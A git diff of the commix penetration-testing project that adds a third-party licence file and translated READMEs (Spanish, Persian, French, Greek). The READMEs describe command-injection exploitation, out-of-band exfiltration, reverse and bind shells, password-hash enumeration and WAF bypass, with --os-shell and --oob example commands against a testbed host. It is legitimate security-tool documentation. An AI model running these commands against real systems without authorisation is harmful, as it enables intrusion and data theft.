+[NullArray](https://github.com/NullArray) ·
+[Ny223](https://github.com/Ny223) ·
+[onuryilmazinfo](https://github.com/onuryilmazinfo) ·
+[Parshuram2](https://github.com/Parshuram2) ·
+[plonibarploni](https://github.com/plonibarploni) ·
+[pomil-1969](https://github.com/pomil-1969) ·
+[powercrypt](https://github.com/powercrypt) ·
+[royshum93](https://github.com/royshum93) ·
+[SaifSalah](https://github.com/SaifSalah) ·
+[saltasatelites](https://github.com/saltasatelites) ·
+[scblakely](https://github.com/scblakely) ·
+[shaojava](https://github.com/shaojava) ·
+[Simon](https://github.com/simonuvarov) ·
+[Slavery](https://github.com/Slavery) ·
+[sno0ose](https://github.com/sno0ose) ·
+[somarrr](https://github.com/somarrr) ·
+[Suselz](https://github.com/Suselz) ·
+[techn0tr0ll](https://github.com/techn0tr0ll) ·
+[temp3l](https://github.com/temp3l) ·
+[Tensha](https://github.com/Tensha) ·
+[vincentubuntu](https://github.com/vincentubuntu) ·
+[vinod272](https://github.com/vinod272) ·
+[vmotos](https://github.com/vmotos) ·
+[vojtapolasek](https://github.com/vojtapolasek) ·
+[VolkNwn](https://github.com/VolkNwn) ·
+[w9w](https://github.com/w9w) ·
+[WangSongsen](https://github.com/WangSongsen) ·
+[webideveli](https://github.com/webideveli) ·
+[xerxoria](https://github.com/xerxoria) ·
+[yournainaidi](https://github.com/yournainaidi) ·
+[zaaazaa](https://github.com/zaaazaa) ·
+[zar3bski](https://github.com/zar3bski) ·
+[Zarcolio](https://github.com/Zarcolio)
diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md
new file mode 100644
index 0000000000..91d684e3e9
--- /dev/null
+++ b/doc/THIRD-PARTY.md
@@ -0,0 +1,113 @@
+# Third-party code
+
+Commix runs with nothing installed beyond Python itself. The libraries it needs are carried in the
+tree under `src/thirdparty/`, and this file records what they are and the terms they come under.
+Grouped by licence, each group followed by the licence in full, because the BSD and MIT terms below
+require the notice to travel with the code.
+
+| Library | Version | Where | What commix uses it for |
+|---------|---------|-------|-------------------------|
+| [Beautiful Soup](https://www.crummy.com/software/BeautifulSoup/) | 3.2.1 | `src/thirdparty/beautifulsoup/` | parsing pages while crawling, in `src/utils/crawler.py` |
+| [chardet](https://github.com/chardet/chardet) | 4.0.0 | `src/thirdparty/chardet/` | working out a page's character encoding when the target does not say |
+| [Colorama](https://github.com/tartley/colorama) | 0.3.9 | `src/thirdparty/colorama/` | coloured console output, on Windows as well |
+| [flatten-json](https://github.com/amirziai/flatten) | - | `src/thirdparty/flatten_json/` | flattening a JSON body so each member can be named by the path it sits at |
+| [PySocks](https://github.com/Anorov/PySocks) | 1.7.1 | `src/thirdparty/socks/` | SOCKS4/5 proxies, and reaching Tor directly |
+| [six](https://github.com/benjaminp/six) | 1.16.0 | `src/thirdparty/six/` | the Python 2 and 3 compatibility layer the rest of the tree imports through |
+
+`src/thirdparty/odict/` is not third-party code: it is a nine-line shim that hands back
+`collections.OrderedDict`, falling back to the six version on interpreters too old to have it.
+
+## BSD
+
+* **Beautiful Soup**, under `src/thirdparty/beautifulsoup/`.
+ Copyright (c) 2004-2010, Leonard Richardson.
+* **Colorama**, under `src/thirdparty/colorama/`.
+ Copyright (c) 2013, Jonathan Hartley.
+* **PySocks**, under `src/thirdparty/socks/`.
+ Copyright (c) 2006, Dan-Haim.
+
+````
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice,
+ this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer in the
+ documentation and/or other materials provided with the distribution.
+ * Neither the name of the copyright holder nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGE.
+````
+
+## MIT
+
+* **flatten-json**, under `src/thirdparty/flatten_json/`.
+ Copyright (c) 2016, Amir Ziai.
+* **six**, under `src/thirdparty/six/`.
+ Copyright (c) 2010-2020, Benjamin Peterson.
+
+````
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+````
+
+## LGPL 2.1 or later
+
+* **chardet**, under `src/thirdparty/chardet/`.
+ The Universal Character Encoding Detector. The original code is Mozilla's universal charset
+ detector; the initial developer is Netscape Communications Corporation, portions created by it
+ being copyright (c) 2001. Shy Shalom wrote the original C code and Mark Pilgrim ported it to
+ Python.
+
+````
+This library is free software; you can redistribute it and/or modify it under
+the terms of the GNU Lesser General Public License as published by the Free
+Software Foundation; either version 2.1 of the License, or (at your option)
+any later version.
+
+This library is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
+details.
+
+You should have received a copy of the GNU Lesser General Public License along
+with this library; if not, write to the Free Software Foundation, Inc.,
+51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+````
+
+The full text of the GNU Lesser General Public License is at
+.
+
+## Commix itself
+
+Everything outside `src/thirdparty/` is commix's own and is licensed under the GNU General Public
+License v3 - see [`LICENSE.txt`](../LICENSE.txt). That includes `src/utils/brotli.py`, which is a
+Brotli decoder written for commix rather than a bundled library.
diff --git a/doc/translations/README-es-ES.md b/doc/translations/README-es-ES.md
new file mode 100644
index 0000000000..8f084f18ed
--- /dev/null
+++ b/doc/translations/README-es-ES.md
@@ -0,0 +1,104 @@
+
+
+**Commix** (abreviatura de [**comm**]and [**i**]njection e[**x**]ploiter) es una herramienta de pruebas de penetración de código abierto, escrita por **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), que automatiza la detección y explotación de vulnerabilidades de tipo **[command](https://owasp.org/www-community/attacks/Command_Injection)** (y **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection.
+
+
+
+Puede visitar la **[colección de capturas de pantalla](https://github.com/commixproject/commix/wiki/Screenshots)** que muestra algunas de las funcionalidades disponibles en el wiki.
+
+> [!IMPORTANT]
+> **Este proyecto está en desarrollo activo.** Es posible que se produzcan cambios incompatibles
+> entre revisiones. Consulte el
+> [registro de cambios](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) antes
+> de actualizar.
+>
+> Commix está pensado principalmente para usarse como herramienta autónoma de línea de comandos, y
+> ejecuta comandos del sistema operativo en los objetivos que analiza. **Ejecutar commix como un
+> servicio puede suponer riesgos de seguridad.** Se recomienda usarlo con precaución, y únicamente
+> contra sistemas de su propiedad o para los que cuente con autorización explícita.
+
+## Características
+
+* **Cuatro técnicas de inyección** - results-based, boolean-based, time-based y file-based, elegidas con `--technique` o según el tipo con el que se informan con `--type` - consulte [techniques](https://github.com/commixproject/commix/wiki/Techniques) para ver qué exige cada una de un objetivo.
+* **Out-of-band, cuando no vuelve nada** - `--oob` demuestra la ejecución y trae de vuelta la salida del comando sobre HTTP/S o DNS, llegando al servidor mediante el cliente que el objetivo tenga - consulte [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) para ver cuáles prueba y cómo fijar uno.
+* **Inyección de código** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) prueba lo que el objetivo evalúa como código, en PHP, Python, Ruby, JavaScript, PowerShell, Perl o Lua, con esas mismas técnicas.
+* **Dondequiera que llegue la entrada** - parámetros GET/POST, [cabeceras HTTP y cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), cuerpos JSON/XML/GraphQL, además del módulo `shellshock` para objetivos CGI.
+* **De la prueba a la shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), los modos integrados `reverse_tcp` y `bind_tcp` ampliables a una PTY completa, transferencia de archivos, lectura y escritura del registro de Windows, y enumeración hasta los hashes de contraseñas, con un ataque de diccionario ofrecido contra ellos.
+* **Evasión de filtros y WAF** - scripts de manipulación (tamper) combinables, aplicados en un orden determinista - consulte [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+* **Objetivos de cualquier forma** - una URL, un rastreo del sitio, formularios HTML, un sitemap, una descripción OpenAPI (Swagger), un registro de proxy, un archivo con varios objetivos, una petición HTTP en bruto o entrada por `stdin` - consulte [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Reanudable y automatizable** - [archivos de sesión por objetivo](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), salida JSON/CSV/HAR, perfiles de opciones reutilizables, `--proof`, que vuelve a demostrar cualquier hallazgo con un experimento propio, y una [API REST](https://github.com/commixproject/commix/wiki/API) para lanzar análisis desde otro sitio.
+* **Tipo Unix y Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP y CGI - consulte
+[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance)
+para ver en qué se diferencian las cargas útiles.
+
+## Instalación
+
+Puede descargar commix en cualquier plataforma clonando el repositorio Git oficial:
+
+```
+$ git clone https://github.com/commixproject/commix.git commix
+```
+
+Alternativamente, puede descargar la última **[versión tarball](https://github.com/commixproject/commix/tarball/master)** o **[versión zipball](https://github.com/commixproject/commix/zipball/master)**.
+
+> [!NOTE]
+> Se necesita **[Python](https://www.python.org/downloads/)** (versión **3.7** o posterior) para
+> ejecutar commix. El resto de dependencias se incluyen con el programa, por lo que no hace falta
+> ningún paso de instalación adicional.
+
+## Uso
+
+Para obtener una lista de todas las opciones y parámetros disponibles:
+
+```
+$ python3 commix.py -h
+```
+
+Probar un único parámetro inyectable y abrir una shell en el objetivo:
+
+```
+$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+```
+
+Demostrar la ejecución fuera de banda, cuando la respuesta no devuelve nada:
+
+```
+$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+```
+
+> [!NOTE]
+> El cliente se elige según lo que tenga el objetivo, de modo que una máquina sin los clientes HTTP
+> habituales sigue estando al alcance - fije uno con `--oob-transport` cuando su salida a red ya se
+> conozca. La detección fuera de banda (OAST) con `--oob` utiliza de forma predeterminada el servidor
+> interactsh público `oast.fun`, por lo que los metadatos de las interacciones con su objetivo salen
+> de su red. Apunte `--oob-server` a una instancia propia para mantenerlos internos. Para una guía
+> detallada, consulte la página
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) del wiki.
+
+Analizar una lista de objetivos de forma desatendida y guardar los resultados en un archivo:
+
+```
+$ python3 commix.py -m targets.txt --batch --report-json=results.json
+```
+
+Para obtener una visión general de las opciones, parámetros y conceptos básicos de uso de commix, consulte las páginas del wiki **[Uso](https://github.com/commixproject/commix/wiki/Usage)**, **[Ejemplos de uso](https://github.com/commixproject/commix/wiki/Usage-examples)** y **[Evasión de filtros](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**.
+
+## Enlaces
+
+- Manual de usuario: [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki)
+- Seguimiento de incidencias: [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues)
diff --git a/doc/translations/README-fa-FA.md b/doc/translations/README-fa-FA.md
new file mode 100644
index 0000000000..3536b9b1d1
--- /dev/null
+++ b/doc/translations/README-fa-FA.md
@@ -0,0 +1,95 @@
+
+**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متنباز تستنفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**) نوشته شده است که فرایند کشف و بهرهبرداری از آسیپ پذیری های **[کامند](https://owasp.org/www-community/attacks/Command_Injection)** (و **[کد](https://owasp.org/www-community/attacks/Code_Injection)**) اینجکشن را خودکار میکند.
+
+
+
+میتوانید از [مجموعه اسکرین شاتها](https://github.com/commixproject/commix/wiki/Screenshots) که نشاندهنده بعضی از ویژگیها است در صفحه ویکی دیدن کنید.
+
+> [!IMPORTANT]
+> **این پروژه در حال توسعه فعال است.** بین نسخهها ممکن است تغییرات ناسازگار رخ دهد. پیش از
+> بهروزرسانی،
+> [فهرست تغییرات](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) را مرور
+> کنید.
+>
+> کامیکس در درجه اول برای استفاده به عنوان یک ابزار مستقل خط فرمان ساخته شده است و روی هدفهایی که
+> آزمایش میکند دستورات سیستمعامل را اجرا میکند. **اجرای کامیکس به صورت یک سرویس ممکن است خطرات
+> امنیتی به همراه داشته باشد.** توصیه میشود با احتیاط و تنها روی سامانههایی استفاده شود که متعلق
+> به شما هستند یا برای آزمودن آنها مجوز صریح دارید.
+
+## ویژگیها
+
+* **چهار تکنیک تزریق** - results-based، boolean-based، time-based و file-based، که با `--technique` یا بر پایه نوعی که با `--type` گزارش میکنند انتخاب میشوند - برای اینکه هر کدام چه چیزی از هدف میخواهد [techniques](https://github.com/commixproject/commix/wiki/Techniques) را ببینید.
+* **out-of-band، وقتی هیچ چیز بازنمیگردد** - سوئیچ `--oob` اجرا را اثبات میکند و خروجی فرمان را روی HTTP/S یا DNS بازمیگرداند، و از راه هر کلاینتی که هدف داشته باشد به سرور میرسد - برای اینکه کدامها را میآزماید و چگونه یکی را تثبیت کنید [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) را ببینید.
+* **تزریق کد** - سوئیچ [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) آنچه را هدف به عنوان کد ارزیابی میکند، در PHP، Python، Ruby، JavaScript، PowerShell، Perl یا Lua و با همان تکنیکها آزمایش میکند.
+* **هر جا که ورودی فرود آید** - پارامترهای GET/POST، [سرآیندهای HTTP و کوکیها](https://github.com/commixproject/commix/wiki/Usage#request-options)، بدنههای JSON/XML/GraphQL، بهعلاوه ماژول `shellshock` برای هدفهای CGI.
+* **از اثبات تا پوسته** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells)، حالتهای داخلی `reverse_tcp` و `bind_tcp` با ارتقا به یک PTY کامل، انتقال فایل، خواندن و نوشتن رجیستری ویندوز، و شمارش تا درهمسازی گذرواژهها، با پیشنهاد حمله دیکشنری علیه آنها.
+* **دور زدن فیلترها و WAF** - اسکریپتهای tamper قابل ترکیب، که با ترتیبی قطعی اعمال میشوند - [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples) را ببینید.
+* **هدف در هر شکلی** - یک URL، پویش سایت، فرمهای HTML، sitemap، توصیف OpenAPI (Swagger)، گزارش پروکسی، فایل چندهدفی، درخواست خام HTTP یا ورودی `stdin` - [target options](https://github.com/commixproject/commix/wiki/Usage#target-options) را ببینید.
+* **قابل ازسرگیری و اسکریپتپذیر** - [فایلهای نشست به تفکیک هدف](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data)، خروجی JSON/CSV/HAR، نمایههای گزینه قابل استفاده مجدد، `--proof` که هر یافته را با آزمایشی از آنِ خود دوباره اثبات میکند، و یک [REST API](https://github.com/commixproject/commix/wiki/API) برای اجرای اسکن از جایی دیگر.
+* **شبهیونیکس و ویندوز** - بکاندهای PHP، Python، Perl، Ruby، ASP.NET، JSP و CGI - برای تفاوت بارها
+[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance)
+را ببینید.
+
+## نصب و راهاندازی
+
+در هر پلتفرمی میتوانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید :
+
+ $ git clone https://github.com/commixproject/commix.git commix
+
+از سوی دیگر, میتوانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند.
+
+> [!NOTE]
+> **[پایتون](https://www.python.org/downloads/)** (نسخه **3.7** یا بالاتر) برای اجرای کامیکس مورد
+> نیاز است. تمام وابستگیهای دیگر همراه برنامه ارائه میشوند، بنابراین به مرحله نصب اضافی نیازی
+> نیست.
+
+
+## استفاده
+
+برای دریافت لیستی از همه گزینهها و سوئیچها از این دستور استفاده کنید:
+
+ $ python3 commix.py -h
+
+آزمودن یک پارامتر آسیبپذیر و سپس گرفتن پوسته روی هدف:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+
+اثبات اجرا به روش خارج از باند، هنگامی که پاسخ چیزی برنمیگرداند:
+
+ $ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+
+> [!NOTE]
+> کلاینت بر پایه آنچه هدف دارد انتخاب میشود، بنابراین ماشینی که کلاینتهای HTTP معمول را ندارد هم
+> در دسترس میماند - هنگامی که مسیر خروجی آن از پیش معلوم است، با `--oob-transport` یکی را تثبیت
+> کنید. شناسایی خارج از باند (OAST) با `--oob` بهصورت پیشفرض از سرور عمومی interactsh با نشانی
+> `oast.fun` استفاده میکند، بنابراین فراداده تعاملهای مربوط به هدف شما از شبکهتان خارج میشود.
+> برای آنکه این دادهها درونسازمانی بماند، `--oob-server` را به نمونهای که خودتان میزبانی میکنید
+> اشاره دهید. برای راهنمای کامل، صفحه
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) در ویکی را ببینید.
+
+پویش فهرستی از هدفها بدون نظارت و نوشتن نتایج در یک فایل:
+
+ $ python3 commix.py -m targets.txt --batch --report-json=results.json
+
+برای دریافت نمای کلی از گزینههای موجود, سوئیچها و/یا ایدههای اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثالهای استفاده](https://github.com/commixproject/commix/wiki/Usage-examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-bypass-examples)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید.
+
+
+## پیوندها
+
+* راهنمای کاربر: https://github.com/commixproject/commix/wiki
+* ردیاب مسائل: https://github.com/commixproject/commix/issues
diff --git a/doc/translations/README-fr-FR.md b/doc/translations/README-fr-FR.md
new file mode 100644
index 0000000000..be76452a17
--- /dev/null
+++ b/doc/translations/README-fr-FR.md
@@ -0,0 +1,104 @@
+
+
+**Commix** (abréviation de [**comm**]and [**i**]njection e[**x**]ploiter) est un outil open source de test d'intrusion, écrit par [**Anastasios Stasinopoulos**](https://github.com/stasinopoulos) ([**@ancst**](https://x.com/ancst)), qui automatise la détection et l'exploitation des vulnérabilités de type [**command**](https://owasp.org/www-community/attacks/Command_Injection) (et [**code**](https://owasp.org/www-community/attacks/Code_Injection)) injection.
+
+
+
+Vous pouvez consulter la [**collection de captures d'écran**](https://github.com/commixproject/commix/wiki/Screenshots) présentant certaines fonctionnalités sur le wiki.
+
+> [!IMPORTANT]
+> **Ce projet est en développement actif.** Attendez-vous à des changements incompatibles d'une
+> révision à l'autre. Consultez le
+> [journal des modifications](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md)
+> avant toute mise à jour.
+>
+> Commix est conçu avant tout comme un outil autonome en ligne de commande, et il exécute des
+> commandes système sur les cibles qu'il teste. **Exécuter commix en tant que service peut présenter
+> des risques de sécurité.** Il est recommandé de l'utiliser avec prudence, et uniquement contre des
+> systèmes qui vous appartiennent ou pour lesquels vous disposez d'une autorisation explicite.
+
+## Fonctionnalités
+
+* **Quatre techniques d'injection** - results-based, boolean-based, time-based et file-based, choisies avec `--technique` ou selon le type sous lequel elles sont rapportées avec `--type` - voir [techniques](https://github.com/commixproject/commix/wiki/Techniques) pour ce que chacune exige d'une cible.
+* **Out-of-band, quand rien ne revient** - `--oob` prouve l'exécution et rapporte la sortie de la commande via HTTP/S ou DNS, en atteignant le serveur par le client dont la cible dispose - voir [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) pour ceux qu'il essaie et comment en fixer un.
+* **Injection de code** - [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) teste ce que la cible évalue comme du code, en PHP, Python, Ruby, JavaScript, PowerShell, Perl ou Lua, avec ces mêmes techniques.
+* **Partout où l'entrée aboutit** - paramètres GET/POST, [en-têtes HTTP et cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), corps JSON/XML/GraphQL, ainsi que le module `shellshock` pour les cibles CGI.
+* **De la preuve au shell** - [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), les modes intégrés `reverse_tcp` et `bind_tcp` promouvables en PTY complet, le transfert de fichiers, la lecture et l'écriture du registre Windows, et l'énumération jusqu'aux empreintes de mots de passe, avec une attaque par dictionnaire proposée contre elles.
+* **Contournement des filtres et des WAF** - scripts de falsification (tamper) combinables, appliqués dans un ordre déterministe - voir [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+* **Des cibles sous toutes les formes** - une URL, une exploration du site, des formulaires HTML, un sitemap, une description OpenAPI (Swagger), un journal de proxy, un fichier de cibles multiples, une requête HTTP brute ou une entrée `stdin` - voir [target options](https://github.com/commixproject/commix/wiki/Usage#target-options).
+* **Reprenable et scriptable** - [fichiers de session par cible](https://github.com/commixproject/commix/wiki/Usage#resume-from-stored-session-data), sortie JSON/CSV/HAR, profils d'options réutilisables, `--proof`, qui prouve à nouveau chaque découverte par une expérience qui lui est propre, et une [API REST](https://github.com/commixproject/commix/wiki/API) pour lancer des analyses depuis ailleurs.
+* **Type Unix et Windows** - back-ends PHP, Python, Perl, Ruby, ASP.NET, JSP et CGI - voir
+[Windows and Unix-like targets at a glance](https://github.com/commixproject/commix/wiki/Techniques#windows-and-unix-like-targets-at-a-glance)
+pour la façon dont les charges utiles diffèrent.
+
+## Installation
+
+Vous pouvez télécharger commix sur n'importe quelle plateforme en clonant le dépôt Git officiel :
+
+```
+$ git clone https://github.com/commixproject/commix.git commix
+```
+
+Vous pouvez également télécharger la dernière [**archive tarball**](https://github.com/commixproject/commix/tarball/master) ou [**archive zipball**](https://github.com/commixproject/commix/zipball/master).
+
+> [!NOTE]
+> [**Python**](https://www.python.org/downloads/) (version **3.7** ou ultérieure) est requis pour
+> exécuter commix. Toutes les autres dépendances sont fournies avec le programme, aucune étape
+> d'installation supplémentaire n'est donc nécessaire.
+
+## Utilisation
+
+Pour obtenir la liste de toutes les options et de tous les paramètres disponibles :
+
+```
+$ python3 commix.py -h
+```
+
+Tester un seul paramètre injectable, puis ouvrir un shell sur la cible :
+
+```
+$ python3 commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell
+```
+
+Prouver l'exécution hors bande, lorsque la réponse ne renvoie rien :
+
+```
+$ python3 commix.py --url="http://commix-testbed/scenarios/regular/POST/blind.php" --data="addr=127.0.0.1" --oob
+```
+
+> [!NOTE]
+> Le client est choisi selon ce dont la cible dispose : une machine dépourvue des clients HTTP
+> habituels reste donc à portée - fixez-en un avec `--oob-transport` lorsque sa sortie réseau est
+> déjà connue. La détection hors bande (OAST) avec `--oob` utilise par défaut le serveur interactsh
+> public `oast.fun` : les métadonnées des interactions avec votre cible sortent donc de votre réseau.
+> Pointez `--oob-server` vers une instance auto-hébergée pour les garder en interne. Pour un guide
+> détaillé, consultez la page
+> [**`out-of-band-oob-channel`**](https://github.com/commixproject/commix/wiki/Techniques#out-of-band-oob-channel) du wiki.
+
+Analyser une liste de cibles sans surveillance et enregistrer les résultats dans un fichier :
+
+```
+$ python3 commix.py -m targets.txt --batch --report-json=results.json
+```
+
+Pour obtenir un aperçu des options, paramètres et concepts de base de commix, consultez les pages du wiki [**Utilisation**](https://github.com/commixproject/commix/wiki/Usage), [**Exemples d'utilisation**](https://github.com/commixproject/commix/wiki/Usage-examples) et [**Contournement des filtres**](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
+
+## Liens
+
+- Manuel utilisateur : [https://github.com/commixproject/commix/wiki](https://github.com/commixproject/commix/wiki)
+- Suivi des problèmes : [https://github.com/commixproject/commix/issues](https://github.com/commixproject/commix/issues)
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
index 2332a6b154..9a69e2c3ed 100644
--- a/doc/translations/README-gr-GR.md
+++ b/doc/translations/README-gr-GR.md
@@ -1,20 +1,49 @@
-
-
-
-
-
-
-
-
-
+
+
-To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
+
+To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://x.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command](https://owasp.org/www-community/attacks/Command_Injection)** (και **[code](https://owasp.org/www-community/attacks/Code_Injection)**) injection.

+Μπορείτε να επισκεφθείτε τη [συλλογή στιγμιότυπων](https://github.com/commixproject/commix/wiki/Screenshots) που παρουσιάζει μερικά από τα χαρακτηριστικά του, στο wiki.
+
+> [!IMPORTANT]
+> **Το έργο βρίσκεται υπό ενεργή ανάπτυξη.** Αναμένετε αλλαγές που ενδέχεται να σπάσουν τη
+> συμβατότητα μεταξύ των εκδόσεων. Συμβουλευτείτε το
+> [ιστορικό αλλαγών](https://github.com/commixproject/commix/blob/master/doc/CHANGELOG.md) πριν
+> από κάθε ενημέρωση.
+>
+> Το commix έχει σχεδιαστεί κυρίως για χρήση ως αυτόνομο εργαλείο γραμμής εντολών και εκτελεί
+> εντολές λειτουργικού συστήματος στα συστήματα που ελέγχει. **Η εκτέλεση του commix ως υπηρεσία
+> ενδέχεται να ενέχει κινδύνους ασφαλείας.** Συνιστάται η χρήση του με προσοχή, και μόνο σε
+> συστήματα που σας ανήκουν ή για τα οποία έχετε ρητή εξουσιοδότηση ελέγχου.
+
+## Χαρακτηριστικά
+
+* **Τέσσερις τεχνικές injection** – results-based, boolean-based, time-based και file-based, που επιλέγονται με `--technique` ή βάσει του τύπου που αναφέρουν με `--type` – δείτε τις [techniques](https://github.com/commixproject/commix/wiki/Techniques) για το τι απαιτεί η καθεμία από ένα target.
+* **Out-of-band, όταν δεν επιστρέφει τίποτα** – το `--oob` αποδεικνύει την εκτέλεση και μεταφέρει το output της εντολής μέσω HTTP/S ή DNS, φτάνοντας στον server μέσω όποιου client τυχαίνει να διαθέτει το target – δείτε [out-of-band client](https://github.com/commixproject/commix/wiki/Usage#out-of-band-client) για το ποιους δοκιμάζει και πώς να ορίσετε έναν.
+* **Code injection** – το [`--eval`](https://github.com/commixproject/commix/wiki/Usage#test-for-code-injection) ελέγχει ό,τι εκτελείται ως κώδικας από το target, σε PHP, Python, Ruby, JavaScript, PowerShell, Perl ή Lua, με τις ίδιες τεχνικές.
+* **Όπου κι αν καταλήγει το input** – GET/POST parameters, [HTTP headers και cookies](https://github.com/commixproject/commix/wiki/Usage#request-options), JSON/XML/GraphQL bodies, καθώς και το `shellshock` module για CGI targets.
+* **Από την απόδειξη στο shell** – [`--os-shell`](https://github.com/commixproject/commix/wiki/Getting-shells), ενσωματωμένα `reverse_tcp` και `bind_tcp` με αναβάθμιση σε πλήρες PTY, μεταφορά αρχείων, read/write στο Windows registry και enumeration μέχρι τα password hashes, με dictionary attack να προσφέρεται εναντίον τους.
+* **Filter και WAF evasion** – συνδυάσιμα tamper scripts, που εφαρμόζονται με deterministic σειρά – δείτε [filters bypass examples](https://github.com/commixproject/commix/wiki/Filters-bypass-examples).
